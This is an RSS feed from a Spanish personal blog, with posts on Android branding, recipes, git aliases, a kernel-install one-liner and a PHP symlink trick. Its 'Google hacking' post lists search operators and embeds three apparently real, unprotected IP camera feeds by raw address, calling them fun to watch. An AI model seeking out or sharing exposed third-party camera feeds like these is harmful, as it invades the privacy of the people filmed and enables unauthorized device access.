<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>javikal.org</title>
	<atom:link href="http://blog.javikal.org/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.javikal.org</link>
	<description>Blog de javikal</description>
	<lastBuildDate>Wed, 06 Mar 2013 20:28:27 +0000</lastBuildDate>
	<language>es-ES</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.4.2</generator>
		<item>
		<title>¿Google dejará de utilizar Android?</title>
		<link>http://blog.javikal.org/google-dejara-de-utilizar-android/</link>
		<comments>http://blog.javikal.org/google-dejara-de-utilizar-android/#comments</comments>
		<pubDate>Wed, 06 Mar 2013 20:25:23 +0000</pubDate>
		<dc:creator>javikaltxu</dc:creator>
				<category><![CDATA[development]]></category>
		<category><![CDATA[gnu/linux]]></category>
		<category><![CDATA[android]]></category>
		<category><![CDATA[apple]]></category>
		<category><![CDATA[firefoxos]]></category>
		<category><![CDATA[samsung]]></category>
		<category><![CDATA[ubuntuos]]></category>

		<guid isPermaLink="false">http://blog.javikal.org/?p=570</guid>
		<description><![CDATA[Hace unos días he oído hablar sobre Google entorno a la gestión de sus marcas, en este caso reflexiones negativas entorno al nombre del desarrollo del sistema operativo para dispositivos[...]]]></description>
			<content:encoded><![CDATA[<div itemscope itemtype="http://schema.org/BlogPosting"><p>Hace unos días he oído hablar sobre <a href="http://es.wikipedia.org/wiki/Google" title="Google" target="_blank">Google</a> entorno a la gestión de sus marcas, en este caso reflexiones negativas entorno al nombre del desarrollo del sistema operativo para dispositivos móviles iniciado por google, <a href="http://es.wikipedia.org/wiki/Android" title="Android" target="_blank">Android</a>. </p>
<p>Google pordría dejar de utilizar Android como marca ya que se está viendo que en el mercado muchas compañías como Samsung han incorporado este sistema operativo en su <a href="http://es.wikipedia.org/wiki/Hardware" title="Hardware" target="_blank">hardware</a>. En este sentido, un usuario que adquiere un producto <a href="http://es.wikipedia.org/wiki/Samsung" title="Samsung" target="_blank">Samsung</a>, solo ve un robot de color verde y un sistema operativo que funciona bien, a primera vista, normalmente, el usuario no técnico, solo entiende de usabilidad y asocia al robot de color verde con la marca de hardware, en este caso Samsung. Si el robot de color verde no se llamara Android y se llamara por ejemplo google mobile, Google adquiriría relación directa con el producto de software aunque se estuviera distribuyendo con otro hardware que no fuera de la marca Google, como Samsung, HTC, Huawei, etc&#8230; </p>
<p>Este podría ser uno de los motivos por los que Google quizás decida dejar de utilizar Android como nombre, no el sistema operativo, solo el nombre, con el fin de potenciar su marca de productos y servicios como <a href="http://es.wikipedia.org/wiki/Apple" title="Apple" target="_blank">Apple</a> hace con sus productos y servicios, <a href="http://es.wikipedia.org/wiki/Iphone" title="Iphone" target="_blank">Iphone</a>, por poner un ejemplo.</p>
<p>A continuación os recomiendo encarecidamente visualizar este hangout que habla sobre este tema y, de como este año 2013, se va a suceder una competencia importante ante la aparición de nuevos sistemas operativos como <a href="http://es.wikipedia.org/wiki/Firefox_OS" title="Firefox OS" target="_blank">Firefox OS</a> y <a href="http://www.ubuntu.com/devices/phone" title="Ubuntu for Phones" target="_blank">Ubuntu for Phones</a>, respaldados por proveedores de servicios como Teléfonica o Vodafone.</p>
<p><iframe width="560" height="315" src="http://www.youtube.com/embed/8Fv_YQMI1os" frameborder="0" allowfullscreen></iframe></p>
</div>]]></content:encoded>
			<wfw:commentRss>http://blog.javikal.org/google-dejara-de-utilizar-android/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>La salsa de los calçots, la salsa romescu</title>
		<link>http://blog.javikal.org/salsa-romescu/</link>
		<comments>http://blog.javikal.org/salsa-romescu/#comments</comments>
		<pubDate>Wed, 06 Mar 2013 19:40:07 +0000</pubDate>
		<dc:creator>javikaltxu</dc:creator>
				<category><![CDATA[recipes]]></category>
		<category><![CDATA[calçots]]></category>
		<category><![CDATA[romescu]]></category>
		<category><![CDATA[salsa]]></category>

		<guid isPermaLink="false">http://blog.javikal.org/?p=562</guid>
		<description><![CDATA[Esta receta es aproximadamente para unos 70 calçots Ingredientes Ñoras: 2 o 3 Tomates maduros: 4 Cabezas de ajo: 1 Almendras tostadas: 1 puño y medio Avellanas tostadas: 1 puño[...]]]></description>
			<content:encoded><![CDATA[<div itemscope itemtype="http://schema.org/BlogPosting"><p>Esta receta es aproximadamente <strong>para unos 70 calçots</strong></p>
<p><strong>Ingredientes</strong><br />
<a href="http://es.wikipedia.org/wiki/%C3%91oras" title="Ñoras" target="_blank">Ñoras</a>: 2 o 3<br />
Tomates maduros: 4<br />
Cabezas de ajo: 1<br />
Almendras tostadas: 1 puño y medio<br />
Avellanas tostadas: 1 puño<br />
Vinagre: 1 vaso de café<br />
<a href="http://es.wikipedia.org/wiki/Vino_de_Catalu%C3%B1a" title="Vino rancio" target="_blank">Vino rancio</a>: 1 vaso de café<br />
Aceite</p>
<p><strong>Preparación</strong><br />
- Cocemos las ñoras unos 20 minutos.<br />
- Mientras cocemos las ñoras aprovechamos para asar los tomates y la cabeza de ajo.<br />
- Mientras tanto podemos pelar las avellanas y las almendras.<br />
- Una vez peladas las almendras y avellanas las pasamos por el picador con un poco de aceite y hechamos el resultado en un bol donde también mezclaremos el resto de ingredientes.<br />
- A continuación, podemos sacar las ñoras, en caliente deberemos abrirlas y extraer la carne que está pegada a la piel, solo la carne y la ponemos en el bol junto con los frutos secos.<br />
- Aprovechamos para trocear en el bol un diente de ajo crudo también.<br />
- Una vez cocidos los tomates y la cabeza de ajo los pelamos y los vertemos al bol también.<br />
- Ahora toca pasar las turmix, echamos medio vaso de vinagre y un vaso vino rancio y seguimos removiendo con la turmix.<br />
- Finalmente tocará probar, ajustar los sabores y reducir el espesor al gusto, con aceite, vinagre y vino.</p>
<p>Bon Profit!</p>
</div>]]></content:encoded>
			<wfw:commentRss>http://blog.javikal.org/salsa-romescu/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>git tip, create aliases to reduce writing</title>
		<link>http://blog.javikal.org/git-tip-create-aliases-to-reduce-writing/</link>
		<comments>http://blog.javikal.org/git-tip-create-aliases-to-reduce-writing/#comments</comments>
		<pubDate>Mon, 11 Feb 2013 22:35:57 +0000</pubDate>
		<dc:creator>javikaltxu</dc:creator>
				<category><![CDATA[development]]></category>
		<category><![CDATA[gnu/linux]]></category>
		<category><![CDATA[git]]></category>
		<category><![CDATA[tip]]></category>
		<category><![CDATA[useful]]></category>

		<guid isPermaLink="false">http://blog.javikal.org/?p=543</guid>
		<description><![CDATA[If you are using git from a bash terminal is interesting create aliases to reduce writing and win speed in your operations with this software version control. For example, in your user&#8217;s[...]]]></description>
			<content:encoded><![CDATA[<div itemscope itemtype="http://schema.org/BlogPosting"><p>If you are using <a title="git in wikipedia" href="http://en.wikipedia.org/wiki/Git_(software)" target="_blank">git</a> from a <a title="bash terminal" href="http://en.wikipedia.org/wiki/Bash_(Unix_shell)" target="_blank">bash</a> terminal is interesting create aliases to reduce writing and win speed in your operations with this software version control.</p>
<p>For example, in your user&#8217;s home directory edit the .profile file and add:</p>
<span class="highlight">alias gpom=&#8217;git push origin master&#8217;</span>
<p>if you don&#8217;t want reboot your computer simply do:</p>
<span class="highlight">source .profile</span> to read the new alias.</p>
<p>At this moment write <em>gpom</em> and <em>git push origin master</em> will be the same, with the alias gpom you&#8217;ll reduce 18 keyboard pulsations.</p>
<p>Here some useful aliases:</p>
<p><em># Aliases for git</p>
<p><span style="font-size: 13px; line-height: 19px;">alias gpom=&#8217;git push origin master&#8217;</span></p>
<p><span style="font-size: 13px; line-height: 19px;">alias gci=&#8217;git commit -a&#8217;</span></p>
<p>alias gadd=&#8217;git add *&#8217;</p>
<p>alias gup=&#8217;git pull&#8217;</em></p>
</div>]]></content:encoded>
			<wfw:commentRss>http://blog.javikal.org/git-tip-create-aliases-to-reduce-writing/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>NO al ACTA</title>
		<link>http://blog.javikal.org/al-acta/</link>
		<comments>http://blog.javikal.org/al-acta/#comments</comments>
		<pubDate>Sun, 29 Jan 2012 10:57:18 +0000</pubDate>
		<dc:creator>javikal</dc:creator>
				<category><![CDATA[Sin categoría]]></category>
		<category><![CDATA[acta]]></category>

		<guid isPermaLink="false">http://javikal.org/?p=522</guid>
		<description><![CDATA[Recuerdo a mi madre diciendo: &#8220;&#8230;tienes que compartir los juguetes&#8230;&#8221; ¿ Que es el ACTA ? &#160;]]></description>
			<content:encoded><![CDATA[<div itemscope itemtype="http://schema.org/BlogPosting"><p>Recuerdo a mi madre diciendo: &#8220;&#8230;tienes que compartir los juguetes&#8230;&#8221;</p>
<p><iframe src="http://www.youtube.com/embed/C7ePr_R_p3c" frameborder="0" width="570" height="365"></iframe></p>
<p>¿ <a title="¿ Qué es el acta?" href="http://es.wikipedia.org/wiki/Acuerdo_comercial_anti-falsificaci%C3%B3n" target="_blank">Que es el ACTA</a> ?</p>
<p>&nbsp;</p>
</div>]]></content:encoded>
			<wfw:commentRss>http://blog.javikal.org/al-acta/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Arduino, ese gran desconocido</title>
		<link>http://blog.javikal.org/arduino-ese-gran-desconocido/</link>
		<comments>http://blog.javikal.org/arduino-ese-gran-desconocido/#comments</comments>
		<pubDate>Thu, 26 Jan 2012 23:51:15 +0000</pubDate>
		<dc:creator>javikal</dc:creator>
				<category><![CDATA[gnu/linux]]></category>
		<category><![CDATA[arduino]]></category>

		<guid isPermaLink="false">http://javikal.org/?p=510</guid>
		<description><![CDATA[]]></description>
			<content:encoded><![CDATA[<div itemscope itemtype="http://schema.org/BlogPosting"><p><iframe src="http://www.youtube.com/embed/VKRs6boJavE" frameborder="0" width="570" height="365"></iframe></p>
</div>]]></content:encoded>
			<wfw:commentRss>http://blog.javikal.org/arduino-ese-gran-desconocido/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Instalar la versión 3 del kernel de linux del tirón</title>
		<link>http://blog.javikal.org/instalar-la-version-3-del-kernel-de-linux-del-tiron/</link>
		<comments>http://blog.javikal.org/instalar-la-version-3-del-kernel-de-linux-del-tiron/#comments</comments>
		<pubDate>Wed, 09 Nov 2011 20:03:47 +0000</pubDate>
		<dc:creator>javikal</dc:creator>
				<category><![CDATA[gnu/linux]]></category>
		<category><![CDATA[debian]]></category>
		<category><![CDATA[kernel 3.0]]></category>

		<guid isPermaLink="false">http://javikal.org/?p=498</guid>
		<description><![CDATA[Si estas utilizando una versión debian like, es decir, con apt/dpkg, y de arquitectura i386 y quieres probar rapidamente el kernel de linux en su versión 3 aquí va una[...]]]></description>
			<content:encoded><![CDATA[<div itemscope itemtype="http://schema.org/BlogPosting"><p>Si estas utilizando una versión debian like, es decir, con apt/dpkg, y de arquitectura i386 y quieres probar rapidamente el kernel de linux en su versión 3 aquí va una serie de instrucciones enlazadas para que copies y pegues en tu consola con permisos de administración, le des al enter y&#8230; a probar! :</p>
<pre class="brush: bash; gutter: true">wget http://kernel.ubuntu.com/~kernel-ppa/mainline/v3.0-oneiric/linux-headers-3.0.0-0300_3.0.0-0300.201107220917_all.deb &amp;&amp;  wget http://kernel.ubuntu.com/~kernel-ppa/mainline/v3.0-oneiric/linux-headers-3.0.0-0300-generic_3.0.0-0300.201107220917_i386.deb &amp;&amp;  wget http://kernel.ubuntu.com/~kernel-ppa/mainline/v3.0-oneiric/linux-image-3.0.0-0300-generic_3.0.0-0300.201107220917_i386.deb &amp;&amp; dpkg -i linux-headers-3.0.0-0300_3.0.0-0300.201107220917_all.deb &amp;&amp;  dpkg -i linux-headers-3.0.0-0300-generic_3.0.0-0300.201107220917_i386.deb &amp;&amp;  dpkg -i linux-image-3.0.0-0300-generic_3.0.0-0300.201107220917_i386.deb</pre>
</div>]]></content:encoded>
			<wfw:commentRss>http://blog.javikal.org/instalar-la-version-3-del-kernel-de-linux-del-tiron/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Crear un enlace simbólico por ftp usando php</title>
		<link>http://blog.javikal.org/crear-enlace-simbolico-por-ftp-usando-php/</link>
		<comments>http://blog.javikal.org/crear-enlace-simbolico-por-ftp-usando-php/#comments</comments>
		<pubDate>Thu, 03 Nov 2011 21:55:10 +0000</pubDate>
		<dc:creator>javikal</dc:creator>
				<category><![CDATA[php]]></category>
		<category><![CDATA[php symlink ftp]]></category>

		<guid isPermaLink="false">http://javikal.org/?p=482</guid>
		<description><![CDATA[Me he encontrado en la situación de tener que crear un enlace simbólico/symlink en una aplicación php que necesita de él para su funcionamiento. Resulta que el acceso al servidor[...]]]></description>
			<content:encoded><![CDATA[<div itemscope itemtype="http://schema.org/BlogPosting"><p>Me he encontrado en la situación de tener que crear un enlace simbólico/symlink en una aplicación php que necesita de él para su funcionamiento. Resulta que el acceso al servidor se limita al protocolo ftp, por lo que no se puede crear o subir el necesitado enlace simbólico. La solución ha sido utilizar las funciones de php que generan symlinks, subir el código php y ejecutarlo desde el propio navegador por url, las librerías son las siguientes:</p>
<p>http://php.net/manual/es/function.symlink.php</p>
<pre class="brush: php; gutter: true">&lt;?php 
$objetivo = 'themed'; 
$enlace = 'theme'; 
symlink($objetivo, $enlace); 
?&gt;</pre>
<p>como véis son muy fáciles de utilizar&#8230; a mi me ha sacado de un apuro pues no teníamos acceso ssh/sftp para poder crearlo.</p>
</div>]]></content:encoded>
			<wfw:commentRss>http://blog.javikal.org/crear-enlace-simbolico-por-ftp-usando-php/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Cisco epc3825 and CRC problems</title>
		<link>http://blog.javikal.org/cisco-epc3825-crc-problems/</link>
		<comments>http://blog.javikal.org/cisco-epc3825-crc-problems/#comments</comments>
		<pubDate>Fri, 28 Oct 2011 17:49:03 +0000</pubDate>
		<dc:creator>javikal</dc:creator>
				<category><![CDATA[health]]></category>
		<category><![CDATA[cisco]]></category>
		<category><![CDATA[crc]]></category>
		<category><![CDATA[epc3825]]></category>
		<category><![CDATA[problem]]></category>

		<guid isPermaLink="false">http://javikal.org/?p=479</guid>
		<description><![CDATA[Recently in my job using MacOSx I discovered -with the help of my peers- an error on the system software updates. Googling and making some calls to our Internet Provider[...]]]></description>
			<content:encoded><![CDATA[<div itemscope itemtype="http://schema.org/BlogPosting"><p>Recently in my job using MacOSx I discovered -with the help of my peers- an error on the system software updates. Googling and making some calls to our Internet Provider found the problem. </p>
<p>The cisco epc3825 router firmware have a bug managing the CRC of big files. In our particular problem the mac software updates need download files with an important size, when the operating system was installing the updates an error about the files integrity ocourred and the updates were impossible to install. </p>
<p>Other problems with the same source are ocurring in different operating systems, here some links aboute the problem:</p>
<p>http://www.neeo.es/index.php?option=com_content&#038;view=article&#038;id=8023:problemas-con-la-ultima-version-firmware-del-cisco-epc3825-de-ono&#038;catid=1:noticias&#038;Itemid=1381</p>
<p>http://www.redeszone.net/2011/07/17/problemas-con-el-cisco-epc3825-de-ono-con-la-ultima-version-de-firmware/</p>
<p>http://www.hard2mano.com/index.php?showtopic=91915</p>
<p>Finally the trouble was resolved changing the router by our Internet Provider which had the problem documented, free of course.</p>
</div>]]></content:encoded>
			<wfw:commentRss>http://blog.javikal.org/cisco-epc3825-crc-problems/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Trucos y tips para buscar en google I aka Google hacking</title>
		<link>http://blog.javikal.org/trucos-tips-para-buscar-en-google-aka-google-hacking/</link>
		<comments>http://blog.javikal.org/trucos-tips-para-buscar-en-google-aka-google-hacking/#comments</comments>
		<pubDate>Sun, 09 Oct 2011 16:00:43 +0000</pubDate>
		<dc:creator>javikal</dc:creator>
				<category><![CDATA[seo]]></category>
		<category><![CDATA[google]]></category>
		<category><![CDATA[google hacking]]></category>
		<category><![CDATA[tips]]></category>
		<category><![CDATA[trucos]]></category>

		<guid isPermaLink="false">http://javikal.org/?p=156</guid>
		<description><![CDATA[En el siguiente artículo relataré brevemente las posibilidades que nos ofrece google para realizar búsquedas, combinadas con un poco de ingeniería social, con el fin de filtrar un poco más[...]]]></description>
			<content:encoded><![CDATA[<div itemscope itemtype="http://schema.org/BlogPosting"><p>En el siguiente artículo relataré brevemente las posibilidades que nos ofrece google para realizar búsquedas, combinadas con un poco de ingeniería social, con el fin de filtrar un poco más nuestra búsqueda, afinar la puntería ante tal bastión de información de todo tipo que inunda la red de redes.</p>
<p>Un poquito de <strong>técnica</strong> no nos vendrá nada mal:</p>
<p>Las <strong>comillas dobles</strong>:<br />
<a href="http://www.google.com/search?client=ubuntu&#038;channel=fs&#038;q=%22mi+patr%C3%B3n+de+b%C3%BAsqueda%22&#038;ie=utf-8&#038;oe=utf-8" title="google hacking" target="_blank">&#8220;mi patrón de búsqueda&#8221;</a><br />
Nos encontrará exactamente páginas que contengan lo que pongamos entre las comillas dobles. Si pusiéramos el patrón de búsqueda sin las comillas dobles nos encontraría páginas que contuviesen esas dos palabras independientemente de si se están unidas o no, es decir, pueden estar disueltas en todo el contenido de la página.</p>
<p>Los<strong> dos puntos seguidos</strong>:<br />
Nos permite establecer rangos de números en nuestras búsquedas, por ejemplo si quisiéramos buscar la publicación de algún exploit para windows entre 1990 y 1993 lo haríamos así:<span id="more-156"></span><br />
<a href="http://www.google.com/search?client=ubuntu&#038;channel=fs&#038;q=%22exploit+for+windows%22+1990..1993&#038;ie=utf-8&#038;oe=utf-8" title="google hacking" target="_blank">&#8220;exploit for windows&#8221; 1990..1993</a><br />
Aunque no nos encuentre nada entre ese rango de números google suele entender que estas buscando un rango de fechas por lo que te muestra alguna coincidencia de alguno de los elementos del rango, muy útil si son fechas lo que buscamos.</p>
<p>Los <strong>comodines</strong>:<br />
Podemos utilizar los asteriscos como comodines, por ejemlo: <a href="http://www.google.com/search?client=ubuntu&#038;channel=fs&#038;q=%22mi+patr%C3%B3n+de+b%C3%BAsqueda%22&#038;ie=utf-8&#038;oe=utf-8#sclient=psy-ab&#038;hl=es&#038;client=ubuntu&#038;hs=3Td&#038;channel=fs&#038;source=hp&#038;q=%22en+un+lugar+de+la+*%22&#038;pbx=1&#038;oq=%22en+un+lugar+de+la+*%22&#038;aq=f&#038;aqi=g4&#038;aql=&#038;gs_sm=e&#038;gs_upl=30700l30700l0l31632l1l1l0l0l0l0l230l230l2-1l1l0&#038;bav=on.2,or.r_gc.r_pw.r_cp.,cf.osb&#038;fp=f6a3f63899daddb9&#038;biw=1440&#038;bih=705" title="google hacking" target="_blank">&#8220;en un lugar de la *&#8221;</a> sino recordamos una palabra de una frase nos viene de perlas.</p>
<p>Usar google como <strong>calculadora</strong>:<br />
También podemos utilizar google como calculadora, es un poco absurdo teniendo software de calculadora o nuestros dedos pero realiza los cálculos que le pasemos, en alguna ocasión que necesitemos calcular rapidamente algo y ya estemos con el navegador abierto y en la web de google search puede sernos útil, por ejemplo: <a href="http://www.google.es/#sclient=psy-ab&#038;hl=es&#038;site=&#038;source=hp&#038;q=%2824%2B2%29%2F2+*+2+%2B+4+-+1&#038;pbx=1&#038;oq=%2824%2B2%29%2F2+*+2+%2B+4+-+1&#038;aq=f&#038;aqi=&#038;aql=&#038;gs_sm=e&#038;gs_upl=1339l1339l0l2470l1l1l0l0l0l0l126l126l0.1l1l0&#038;bav=on.2,or.r_gc.r_pw.,cf.osb&#038;fp=655e8d4e7aa14a55&#038;biw=1440&#038;bih=705" title="google hacking" target="_blank">(24+2)/2 * 2 + 4 &#8211; 1</a></p>
<p>Encontrar <strong>definiciones</strong>:<br />
Le podemos pasar como parámetro de búsqueda &#8220;define&#8221; para encontrar definiciones de acrónimos o palabras específicas: <a href="http://www.google.com/search?client=ubuntu&#038;channel=fs&#038;q=define%3ASA&#038;ie=utf-8&#038;oe=utf-8" title="google hacking" target="_blank">define:SA</a></p>
<p>Saber <strong>quien enlaza a quien</strong>:<br />
Podemos utilizar el operador &#8220;link&#8221; para saber quien está enlazando la web o dominio que le pasemos como parámetro: <a href="http://www.google.com/search?client=ubuntu&#038;channel=fs&#038;q=link%3Awikileaks.org&#038;ie=utf-8&#038;oe=utf-8" title="google hacking" target="_blank">link:wikileaks.org</a> nos devuelve aquellas publicaciones, o webs que contienen un enlace a wikileaks.org</p>
<p>Buscar en la <strong>etiqueta title</strong> de las webs:<br />
Podemos filtrar nuestros resultados buscando en la etiqueta title de html lo que estamos buscando, por ejemplo si queremos buscar webs que en su title contenga &#8220;como ganar dinero&#8221; lo haremos así: <a href="http://www.google.com/search?client=ubuntu&#038;channel=fs&#038;q=intitle%3A%22como+ganar+dinero+sin+trabajar%22&#038;ie=utf-8&#038;oe=utf-8" title="google hacking" target="_blank">intitle:&#8221;como ganar dinero sin trabajar&#8221;</a></p>
<p>Filtrar <strong>por nivel de dominio</strong>:<br />
Consiste en filtrar por el nivel de dominio, por ejemplo si queremos buscar la palabra javikal en dominios .com lo haremos así: <a href="http://www.google.com/search?client=ubuntu&#038;channel=fs&#038;q=javikal+site%3Acom&#038;ie=utf-8&#038;oe=utf-8" title="google hacking" target="_blank">javikal site:com</a></p>
<p>Busquedas en las url (direcciones):<br />
Existe otro operador que nos permite filtrar buscando nuestro patrón en las direcciones/dominios de Internet, por ejemplo, si quiero buscar un dominio que contenga las palabras crisis culpables lo podemos hacer de la siguiente manera: <a href="http://www.google.com/search?client=ubuntu&#038;channel=fs&#038;q=+inurl%3Acrisisculpables&#038;ie=utf-8&#038;oe=utf-8" title="google hacking" target="_blank">inurl:crisisculpables</a></p>
<p>Algunos <strong>ejemplos</strong> prácticos:<br />
Combinando los operadores básicos que tenemos a nuestra disposición para filtar las búsquedas y un poco de imaginación podemos encontrar cosas realmente intereseantes como:</p>
<p><strong>Cámaras IP sin protección</strong> con acceso a visualización o incluso con acceso a los controles de la cámara, alucinante y muy divertido. Esto es gracias a la conjugación de operadores de google con conocimientos técnicos, sabiendo las <a href="http://es.wikipedia.org/wiki/Localizador_uniforme_de_recursos" title="google hacking" target="_blank">urls</a> que generan ciertas cámaras ip podemos buscar en google esas urls y encontrar cosas como estas:</p>
[iframe http://81.204.247.130:6112/ 800 600]
[iframe http://72.237.37.82:8080/view/view.shtml 800 600]
[iframe http://24.249.24.110:2001/view/view.shtml 800 600]
<p>Ahora vamos a buscar, a modo de ejemplo, <strong>material en pdf sobre google hacking posteado este año 2011</strong>:<br />
<a href="http://www.google.com/search?client=ubuntu&#038;channel=fs&#038;q=%22google+hacking%22+pdf+2011&#038;ie=utf-8&#038;oe=utf-8" title="google hacking" target="_blank">&#8220;google hacking&#8221; pdf 2011</a></p>
<p>Como habréis observado la potencia reside en la conjugación de ingeniería social con técnicas de búsqueda básicas.</p>
<p><strong>Enlaces de interés:</strong><br />
<a href="http://www.googleguide.com/advanced_operators.html" title="google hacking" target="_blank">http://www.googleguide.com/advanced_operators.html</a><br />
<a href="http://en.wikipedia.org/wiki/Google_hacking" title="google hacking" target="_blank">http://en.wikipedia.org/wiki/Google_hacking</a><br />
<a href="http://es.wikipedia.org/wiki/Ingenier%C3%ADa_social_%28seguridad_inform%C3%A1tica%29" title="google hacking" target="_blank">http://es.wikipedia.org/wiki/Ingenier%C3%ADa_social_%28seguridad_inform%C3%A1tica%29</a><br />
<a href="http://www.segu-info.com.ar/articulos/42-google-hacking.htm" title="google hacking" target="_blank">http://www.segu-info.com.ar/articulos/42-google-hacking.htm</a><br />
<a href="http://www.acunetix.com/websitesecurity/google-hacking.htm" title="google hacking" target="_blank">http://www.acunetix.com/websitesecurity/google-hacking.htm</a><br />
<a href="http://johnny.ihackstuff.com/" title="google hacking" target="_blank">http://johnny.ihackstuff.com/</a><br />
<a href="http://www.stachliu.com/resources/tools/google-hacking-diggity-project/attack-tools/" title="google hacking" target="_blank">http://www.stachliu.com/resources/tools/google-hacking-diggity-project/attack-tools/</a><br />
<a href="http://www.i-hacked.com/content/view/81/42/" title="google hacking" target="_blank">http://www.i-hacked.com/content/view/81/42/</a></p>
</div>]]></content:encoded>
			<wfw:commentRss>http://blog.javikal.org/trucos-tips-para-buscar-en-google-aka-google-hacking/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>De la mar el mero&#8230;</title>
		<link>http://blog.javikal.org/de-la-mar-el-mero/</link>
		<comments>http://blog.javikal.org/de-la-mar-el-mero/#comments</comments>
		<pubDate>Sun, 09 Oct 2011 15:46:33 +0000</pubDate>
		<dc:creator>javikal</dc:creator>
				<category><![CDATA[recipes]]></category>
		<category><![CDATA[sayings]]></category>

		<guid isPermaLink="false">http://javikal.org/?p=438</guid>
		<description><![CDATA[de la mar el mero y de la tierra el cordero]]></description>
			<content:encoded><![CDATA[<div itemscope itemtype="http://schema.org/BlogPosting"><p>de la mar el mero<br />
y de la tierra el cordero</p>
</div>]]></content:encoded>
			<wfw:commentRss>http://blog.javikal.org/de-la-mar-el-mero/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Zancarron guisado</title>
		<link>http://blog.javikal.org/zancarron-guisado/</link>
		<comments>http://blog.javikal.org/zancarron-guisado/#comments</comments>
		<pubDate>Sun, 09 Oct 2011 15:44:49 +0000</pubDate>
		<dc:creator>javikal</dc:creator>
				<category><![CDATA[recipes]]></category>
		<category><![CDATA[guisado]]></category>
		<category><![CDATA[jarrete]]></category>
		<category><![CDATA[zancarron]]></category>

		<guid isPermaLink="false">http://javikal.org/?p=422</guid>
		<description><![CDATA[Ingredientes: Aceite de oliva 500gr de zancarron 2 dientes de ajo 1 zanahoria 1 pimiento verde 2 patatas 1/2 tomate sin piel 1 pasti de starlux vino blanco o coñac[...]]]></description>
			<content:encoded><![CDATA[<div itemscope itemtype="http://schema.org/BlogPosting"><p><strong>Ingredientes:</strong></p>
<ul>
<li>Aceite de oliva</li>
<li>500gr de <a href="http://es.wikipedia.org/wiki/Jarrete" target="_blank">zancarron</a></li>
<li>2 dientes de ajo</li>
<li>1 zanahoria</li>
<li>1 pimiento verde</li>
<li>2 patatas</li>
<li>1/2 tomate sin piel</li>
<li>1 pasti de starlux</li>
<li>vino blanco o coñac</li>
</ul>
<p><span id="more-422"></span><br />
<strong>Preparación:</strong><br />
<code></p>
<ol>
<li>Pochamos la cebolla, el ajo en láminas y la zanahoria con aceite</li>
<li>Echamos la carne al pochado anterior junto con el pimiento verde debidamente cortado y las patatas cortadas a trozos y lo <a href="http://www.wordreference.com/definicion/rehogar" target="_blank">rehogamos</a> todo</li>
<li>Cuando esté rehogada la carne echamos el medio tomate sin piel y el vino blanco o coñac junto con una pastilla de starlux para que le dé más sabor.
<li>Cerramos la olla y lo dejamos todo 20 minutos</li>
</ol>
<p></code></p>
<p>Onin!</p>
</div>]]></content:encoded>
			<wfw:commentRss>http://blog.javikal.org/zancarron-guisado/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>La proporción áurea</title>
		<link>http://blog.javikal.org/la-proporcion-aurea/</link>
		<comments>http://blog.javikal.org/la-proporcion-aurea/#comments</comments>
		<pubDate>Thu, 22 Sep 2011 16:09:16 +0000</pubDate>
		<dc:creator>javikal</dc:creator>
				<category><![CDATA[design]]></category>

		<guid isPermaLink="false">http://javikal.org/?p=394</guid>
		<description><![CDATA[]]></description>
